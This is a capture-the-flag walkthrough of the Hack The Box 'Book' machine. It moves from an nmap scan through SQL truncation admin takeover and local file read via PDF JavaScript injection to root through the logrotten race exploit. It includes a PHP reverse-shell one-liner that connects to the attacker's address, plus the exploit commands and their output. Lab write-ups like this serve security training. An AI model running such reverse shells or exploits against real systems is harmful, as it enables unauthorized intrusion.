β A fun box machine that was vulnerable to sql truncate and local file read via javascript injection. As the attacker I was able to get the admin by bypassing the limit characters of username and password. I created another account to send pdf files which contains javascript payloads which lead to local file read from there I was able to get the SSH keys of the user and use it to get in. To get root access we find logrotten which exploit a race condition and using that we can get a shell as root
Penetration Testing Methodologies
Network Scanning
β Nmap scan
β discover open ports and what services are running
Enumeration
β Found login and registration page
β username & password has set limit characters in registration form
β running dirsearch to enumerate potential web directories
β Found admin login page
Post - Exploitation
β abusing sql truncation vulnerabilities and create account as admin using admin@htb
β go to file upload section that generating pdf files.
β trying to inject malicious javascript payloads to check if is vulnerable to local file read vulnerabilities.
β local file read vulnerabilities confirmed !
Exploitation
β create a malicious javascript files which can get info of a user which generated into pdf
β extract SSH keys of a user and use it get in to shell
β finally got the user.txt
Privilege Escalation
β use pspy to monitor running services
β Looking for exploit for logrotate
β compile logrotate exploit and make a another payload for reverse shell
β execute the exploit with payload
β Finally got the root flag
Network Scanning
Walkthrough
β I always begin at NMAP to look on the services what is running. I always use
-sV β Probe open ports to determine service/version info
-sC β equivalent to βscript=default
-A- β Agressive scan
-oN β to save our scan results to a text file
# bash
nmap -sV -sC -A 10.10.10.176 -oN nmap-Book
# bash
root in htb/boxes/Book β― nmap -sV -sC -A 10.10.10.176 -oN nmap-Book Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-15 08:50 PST Nmap scan report for10.10.10.176 Host is up (0.25s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA) | 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA) |_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag notset |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: LIBRARY - Read | Learn | Have Fun No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=4/15%OT=22%CT=1%CU=40722%PV=Y%DS=2%DC=T%G=Y%TM=5E965A7 OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=A)OPS OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1 OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S)
Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp) HOP RTT ADDRESS 1250.00 ms 10.10.14.1 2252.00 ms 10.10.10.176
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 37.40 seconds
root in htb/boxes/Book took 37s β―
Nmap results
So thereβs only 2 port open.
22 β which is running a SSH Client
80 β which basically a web service
Enumeration
The Book Website
Since thereβs web service I always looking that first
Itβs a login page and thereβs also a create account
I look at the source code and I found something useful, username and password has set to limit characters which can possibly vulnerable to sql truncation
// javascript
<script> window.console = window.console || function(t) {}; </script> <script> if (document.location.search.match(/type=embed/gi)) { window.parent.postMessage("resize", "*"); } functionvalidateForm() { var x = document.forms["myForm"]["name"].value; var y = document.forms["myForm"]["email"].value; if (x == "") { alert("Please fill name field. Should not be more than 10 characters"); returnfalse; } if (y == "") { alert("Please fill email field. Should not be more than 20 characters"); returnfalse; } } </script>
Thereβs also Contact us where you can send message in admin@book.htb
Since thereβs no clue whatβs the next step hereβ i use dirsearch to bruteforce web directories. This is the best thing to do to get hidden stuff on the site.
So thereβs admin page here. I try to bypass it using basic sql injection but itβs not working :
Post - Exploitation
Abusing SQL Truncate
remember the registration page that has set limit characters ? The MySQL truncation attack is based on the behaviour of the server when managing special characters like spaces.
In this case if the user send admin@book.htb a the database is going to check if emai are already use by another user. And if not, it is going to cut the username that has max to 20 characters and save a new entry. Because of that I can easily change the admin password. The query is something like this :
We can now stop the burp suite tool. (Do not follow redirect, sometime it will not work)
Using the create account page, I manage to change the password of admin to password admin1234 and now I can use admin account :
Exploitation
Local File Read via PDF
Now that Iβm the admin the most interesting part is the Collections page where you can download pdf file which contains the name of a users or the collections name.
So, as a PDF is being dynamically created for every user, we can control the part of the input. Like performing XSS Attack to generated pdf.
the payload is look like this to get the valid user
If logrotate is running as root, and ordinary users have write access to the log files polled by logrotate, then there is a vulnerability exploit that can increase rights.
Iβve first verify that access.log is a polled file and write 10M random bitstream data to it :
// bash
reader@book:~/backups$ head -c 10M < /dev/urandom > access.log reader@book:~/backups$ ls -la total 10252 drwxr-xr-x 2 reader reader 4096 Jan 2913:05 . drwxr-xr-x 7 reader reader 4096 Jan 2913:05 .. -rw-r--r-- 1 reader reader 10485760 Apr 1502:35 access.log -rw-r--r-- 1 reader reader 91 Jan 2913:05 access.log.1 reader@book:~/backups$ ls -la total 10252 drwxr-xr-x 2 reader reader 4096 Apr 1502:35 . drwxr-xr-x 7 reader reader 4096 Jan 2913:05 .. -rw-r--r-- 1 reader reader 0 Apr 1502:35 access.log -rw-r--r-- 1 reader reader 10485760 Apr 1502:35 access.log.1 -rw-r--r-- 1 reader reader 91 Jan 2913:05 access.log.2
Confirmed ! Itβs written another access.log.2 log file .
Logrotten
I downloaded the logrotate exploit from github to my machine, compile then transfer to book machine :
Compile logrotten
// bash
root in htb/boxes/Book via β¬’ v10.17.0 β― gcc -o logrotten logrotten.c
Payload for Reverse Shell
then I create another payload for revershell shell :
// bash
root in htb/boxes/Book via β¬’ v10.17.0 took 5m35s β― cat payloadfile php -r '$sock=fsockopen("10.10.14.121",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
root in htb/boxes/Book via β¬’ v10.17.0 β―
Transfer it to target machine using wget and execute it :
// bash
reader@book:/tmp$ ./logrotten -p ./payloadfile /home/reader/backups/access.log -d logfile: /home/reader/backups/access.log logpath: /home/reader/backups logpath2: /home/reader/backups2 targetpath: /etc/bash_completion.d/access.log targetdir: /etc/bash_completion.d p: access.log Waiting for rotating /home/reader/backups/access.log... Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d Waiting 1 seconds before writing payload... Done! reader@book:/tmp$
Next i check the /etc/bash_completion.d and my payload is written there :
// bash
reader@book:/etc/bash_completion.d$ ls access.log access.log-2020041722.backup apport_completion cloud-init git-prompt grub
I executed again the exploit and payload and at the same time I setup a ncat listener from my machine. Finally got the root access butβs it will hangup immediately :
// bash
root in htb/boxes/Book via β¬’ v10.17.0 β― nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.121] from (UNKNOWN) [10.10.10.176] 42610 # id uid=0(root) gid=0(root) groups=0(root) # ls clean_backup.sh clean.sh cron_root log.cfg log.sh reset.sh root.txt # cat root.txt Hangup
Executed it again and get the root flag
// bash
root in htb/boxes/Book via β¬’ v10.17.0 took 1m17s β― nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.121] from (UNKNOWN) [10.10.10.176] 42626 # cut -c 4-12 root.txt 92adf998 # Hangup
root in htb/boxes/Book via β¬’ v10.17.0 took 55s β―
If you liked my writeup please leave a respect on my Profile
